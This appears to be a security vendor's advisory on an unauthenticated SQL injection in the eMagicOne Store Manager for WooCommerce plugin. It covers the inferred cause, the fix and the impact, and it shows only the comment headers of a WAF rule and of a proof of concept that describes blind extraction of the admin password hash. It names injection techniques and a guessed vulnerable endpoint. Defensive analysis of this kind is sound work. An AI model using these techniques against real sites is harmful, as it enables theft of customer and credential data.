Atomic Edge analysis of CVE-2026-42773 (metadata-based):
This vulnerability affects the eMagicOne Store Manager for WooCommerce plugin (slug: store-manager-connector) versions up to 1.3.2. An unauthenticated SQL injection has been found and assigned a CVSS score of 7.5 (High) due to the potential for confidential data exposure without requiring authentication.
The root cause is an improper neutralization (CWE-89) of a user-supplied parameter before it is used in a SQL query. Atomic Edge analysis infers that the plugin likely passes a GET/POST parameter directly into a $wpdb query (like $wpdb->get_results or $wpdb->query) without using prepared statements or proper escaping functions such as $wpdb->prepare(). The description confirms insufficient escaping and lack of preparation. This is a classic pattern in WordPress plugins that manually construct SQL using concatenation.
An unauthenticated attacker can send a crafted request to a publicly accessible endpoint (likely an AJAX handler registered via wp_ajax_nopriv_* or a direct REST route). Atomic Edge research suggests the vulnerable action could be related to product search, order lookup, or store statistics, as the plugin bridges WooCommerce with external management software. The attacker appends SQL injection payloads such as UNION SELECT or time-based blind conditions to the vulnerable parameter, triggering the query. No nonce or capability check is required, as the vulnerability allows unauthenticated access.
The vendor has not released a patch. The fix requires using parameterized prepared statements with $wpdb->prepare() and specifying placeholder formats (%s for strings, %d for integers). The plugin should also implement proper capability checks (current_user_can) and nonce verification for all database operations.
A successful exploit can expose sensitive WordPress database content, including user credentials (hashed passwords), WooCommerce customer data, order details, and payment information. Stealing WordPress salts or API keys could lead to full site takeover or lateral movement to connected services.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-42773 (metadata-based)
# Blocks unauthenticated SQL injection attempts targeting the store-manager-connector AJAX handler.
# Rule infers the vulnerable endpoint as /wp-admin/admin-ajax.php with action=smc_get_data or similar.
# Uses chained rules to match the specific action and detect SQL injection keywords in the vulnerable parameter.

/*
* This PoC exploits an unauthenticated SQL injection in the store-manager-connector plugin.
* The plugin likely registers an AJAX action for fetching store data (e.g., orders, products).
* We assume the action is 'smc_get_data' based on the plugin prefix 'smc_' common in such plugins.
* We use time-based blind SQL injection to extract the admin user's password hash.
* Adjust $target, $action, and $param_name if a different endpoint is discovered.
